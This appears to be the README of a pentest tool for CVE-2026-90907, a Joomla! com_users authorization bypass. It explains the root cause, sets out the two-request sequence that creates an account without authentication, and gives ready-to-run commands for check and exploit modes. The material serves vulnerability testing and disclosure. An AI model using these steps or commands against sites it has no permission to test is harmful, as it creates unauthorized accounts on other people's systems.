
Python CLI that detects and exploits CVE-2026-90907, a Joomla! com_users authorization bypass enabling unauthenticated account creation; non-destructive check mode plus PoC.
FOR AUTHORIZED SECURITY TESTING ONLY. Running the exploit mode against systems you do not own or do not have explicit written permission to test is illegal. The default mode (
CHECK) is non-destructive and creates nothing.
CLI tool that detects and (optionally, with -U) exploits
CVE-2026-90907, a
medium-severity authorization bypass (CVSS 6.9) in the Joomla! CMS core
that allows an unauthenticated remote attacker to trigger unauthorized
user account creation through the com_users → profile.save controller —
even when public registration is disabled in Global Configuration.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-90907 |
| Severity | Medium — CVSS 6.9 |
| Type | Authorization bypass / improper access control (CWE-862) |
| Component | com_users component, profile.save task |
| Attack vector | Remote, unauthenticated, same-session two-step POST |
| Fixed in | Joomla! 5.4.9 and 6.1.4 (security release, 2026-09-29) |
Per the Joomla! security bulletin (2026-09-29) and public advisory sources:
Joomla! 3.x is also affected but End-of-Life: it will not receive an official patch — plan a migration. The tool's version banner check is informational; the verdict is behavioral (see below).
The attacker-controlled account is a low-privileged front-end account with no administrative or backend access. Nevertheless this allows an attacker to:
ProfileModel::save() only unset()s $data['username'] when the username
is considered compliant. isUsernameCompliant is derived from the user
state com_users.edit.profile.data, which the controller populates with the
full request when form validation fails. The controller also fails to
verify the login state of the incoming request. Therefore, within one guest
session:
privacyconsent → validation fails → the dirty username is persisted in
session user state (nothing is created yet).jform[privacyconsent][privacy]=1 → the unset() guard is skipped →
INSERT INTO #__users → 303 redirect with user_id > 0.user.login (field name is
password, not passwd) with the correct vs. an incorrect password and
read the flash message: correct → "you cannot access the private section"
(auth OK, ACL blocks) / incorrect → "do not match". The differential is
the evidence.git clone https://github.com/aorozco-sys/CVE-2026-90907.git
cd CVE-2026-90907
pip install -r requirements.txt # only dependency: requests
# CHECK mode (default) — non-destructive: never sends consent, never creates an account
python3 joomla_cve_2026_90907.py https://ejemplo.com
# Verbose CHECK (full request/response log on stderr)
python3 joomla_cve_2026_90907.py https://ejemplo.com --no-color -v
# EXPLOIT mode (-U) — creates a real account in #__users (authorized targets only!)
python3 joomla_cve_2026_90907.py https://ejemplo.com \
-U audit.user -E [email protected] -N "CVE Audit"
# Through a proxy (e.g. Burp Suite) with a custom timeout
python3 joomla_cve_2026_90907.py https://ejemplo.com -U audit.user \
--proxy http://127.0.0.1:8080 --timeout 30
# Exploit without the differential login verification
python3 joomla_cve_2026_90907.py https://ejemplo.com -U audit.user \
--no-verify-login
| Flag | Description |
|---|---|
TARGET | Base URL (normalized; no trailing slash) |
-U/--username | Enables EXPLOIT mode. Without -U → non-destructive CHECK |
-P/--password | Default: generated with secrets, 16 chars alnum+symbols, always printed |
-E/--email | Default: <username>@example.invalid |
-N/--name | Default: CVE Audit |
-o/--output | Evidence directory (default evidence_cve90907_<ts> under cwd) |
--proxy URL | Proxy for requests (Burp: http://127.0.0.1:8080) |
--timeout | Default 20 s |
--ua | User-Agent (default cve-2026-90907-audit/1.0) |
--no-verify-login | Skips the login differential (exploit mode) |
--verify-ssl | Verify TLS (default: do not verify) |
--no-color | No ANSI colors |
-v/--verbose | Full req/resp log on stderr |
| Code | Meaning |
|---|---|
0 | Ok / not vulnerable / unknown |
1 | Vulnerable (LIKELY in check, CONFIRMED in exploit) |
2 | Operational error (network, dependency, etc.) |
profile in Location, no redirect to login) + validation-error
flash (e.g. privacy-policy required message). Definitive confirmation =
exploit mode.summary.json.Location with user_id > 0 after W2.Each run writes a timestamped -o directory containing 00_token.txt,
01_version.txt, 02_w1_seed.txt, 03_w2_exploit.txt,
04_login_correct.txt, 05_login_wrong.txt and summary.json. Every file
records the full REQUEST (method/URL/key headers/body), RESPONSE (status,
Location, Server, extracted flash, first 500 bytes of body) and ISO
timestamps — ready to attach to a pentest report.
privacyconsent and uses a non-compliant
username (probe()): the save fails on form rules and nothing is persisted.user_id > 0 (it should not), exploit
mode aborts before W2.user_usergroup_map row).MIT — see LICENSE.